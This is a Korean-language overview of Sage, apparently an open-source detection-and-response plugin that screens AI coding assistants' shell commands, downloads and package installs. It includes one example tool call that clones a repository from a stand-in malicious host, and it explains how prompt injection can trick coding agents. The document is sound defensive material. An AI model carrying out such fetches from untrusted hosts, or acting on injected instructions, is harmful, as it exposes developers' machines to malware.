gendigitalinc/sage

Lightweight Agent Detection & Response (ADR) layer for AI agents — guards commands, files, and web requests. Part of Gen Agent Trust Hub.

Sage – AI 코딩 어시스턴트를 위한 보안 계층

개요 – Sage는 AI 기반 코딩 어시스턴트(Claude Code, Cursor, VS Code, OpenClaw, OpenCode, 등)와 호스트 시스템 사이에 위치하는 경량 보안 플러그인입니다. 어시스턴트가 도구 호출(예: 셸 명령, URL 다운로드, 파일 쓰기 또는 패키지 설치)을 실행하려고 할 때마다, Sage는 해당 요청을 가로채고 일련의 위협 탐지 검사를 수행하며, 안전하다고 판단되는 경우에만 작업을 진행하도록 허용합니다.

중요성 – 대규모 언어 모델(LLM) 기반 코딩 도구는 악성 명령을 실행하거나 유해한 페이로드를 가져오도록 속을 수 있습니다(프롬프트 주입 공격, 공급망 침해 등). Sage는 기본 AI 모델을 변경할 필요 없이 개발자의 머신을 보호하는 방어적 "방화벽" 역할을 합니다.

핵심 기능

Feature	What it does
URL 평판	클라우드 서비스를 조회하여 알려진 멀웨어, 피싱 또는 사기 링크가 가져오기 전에 플래그를 지정합니다.
로컬 휴리스틱	300개 이상의 YAML 정의 패턴을 통해 위험한 셸 명령, 의심스러운 URL, 자격 증명 유출 및 코드 난독화를 탐지합니다.
프롬프트 주입 탐지	빠른 휴리스틱 규칙에 이어 미세 조정된 머신러닝 모델이 이어지는 2단계 가드 – 가져온 콘텐츠에서 주입된 명령을 찾아냅니다.
패키지 공급망 검사	npm / PyPI 패키지를 조회하여 존재 여부를 확인하고, 평판과 연령을 평가하여 타이포스쿼팅(typosquatting) 또는 방치된 라이브러리를 잡아냅니다.
플러그인 스캐닝	각 AI 어시스턴트 세션이 시작될 때, Sage는 설치된 모든 플러그인을 스캔하여 알려진 위협을 검사합니다.
AMSI 통합	Windows(및 WSL)에서 Sage는 명령을 AMSI(Antimalware Scan Interface)로 전달하여 OS의 실시간 스캐너가 멀웨어를 차단단합니다.

설치 방법

온라인 설치 가이드 읽기 – https://ai.gendigital.com/sage (최신 단계를 유지합니다).
AI 어시스턴트 선택 및 README에 표시된 짧은 명령어를 입력합니다:
- Claude Code – 리포지토리를 플러그인으로 추가하고 sage@sage를 설치합니다.
- Cursor – Cursor 마켓플레이스에서 Gen Sage 확장을 설치합니다.
- VS Code – VS Code 마켓플레이스에서 Gen Sage 확장을 설치합니다.
- OpenClaw – openclaw plugins install @gendigital/sage-openclaw.
- OpenCode – opencode.json 설정 파일에 @gendigital/sage-opencode를 추가합니다.
설치 후, Sage는 자동으로 실행되며, 결정을 로그로 남기는 온-디스크 JSONL 감사 파일에 기록합니다.

일반적인 워크플로우

개발자가 AI 어시스턴트에게 프롬프트를 작성합니다.
어시스턴트가 도구 호출(예: git clone https://evil.example.com/repo.git)을 생성합니다.
Sage가 호출을 가로채고 다음을 수행합니다:
- 클라우드 평판 서비스와 URL을 대조합니다.
- 로컬 YAML 휴리스틱을 실행합니다.
- (필요한 경우) 콘텐츠를 프롬프트 주입 ML 모델에 입력합니다.
- 공급망 검사 과정에서 관련된 패키지를 조회합니다.
- Windows에서 명령을 AMSI를 통해 전달합니다.
만약 어떤 검사가 위협을 가장한 것으로 플래그를 지정하면, Sage는 작업을 차단단합니다. 그렇지 않으면 명령 실행을 것을 허용합니다.

사용 대상

개발자 – LLM 기반 코드 어시스턴트를 사용하며 실수로 멀웨어를 실행하는 것을 피하고 싶은 경우.
보안 팀 – 여러 AI IDE 확장을 지원하는 플러그인 방식의 안전장치를 찾는 경우. | Ops / DevOps – 코드 생성 자동화 프로세스에서 생성된 스크립트가 실행되기 전에 정책이 적용된 게이트를 필요로 하는 경우.

확장성 및 기여

위협 패턴은 threats/ 디렉토리에 간단한 YAML 파일로 존재합니다 – 기여자는 Pull Request를를 통해 새로운 규칙을 추가할 수 있습니다.
리포지토리에는 아키텍처, 테스트 하네스, 프롬프트 주입 ML 모델을 훈련시키거나 업데이트하는 방법을 설명하는 Developer Guide가 포함되어 있습니다.
모든 코드는 Apache-2.0 라이선스이며, 규칙 세트는 자체 Detection Rule License 1.1을 따릅니다.

요약 – Sage는 클라우드 평판, 로컬 휴리스틱, ML 기반 프롬프트 주입 탐지, OS 레벨 스캐닝을 조합하여 AI 코딩 어시스턴트가 생성한 악성 도구 호출을 잡아내는 집중적인 교차 어시스턴트 보안 계층을 제공합니다.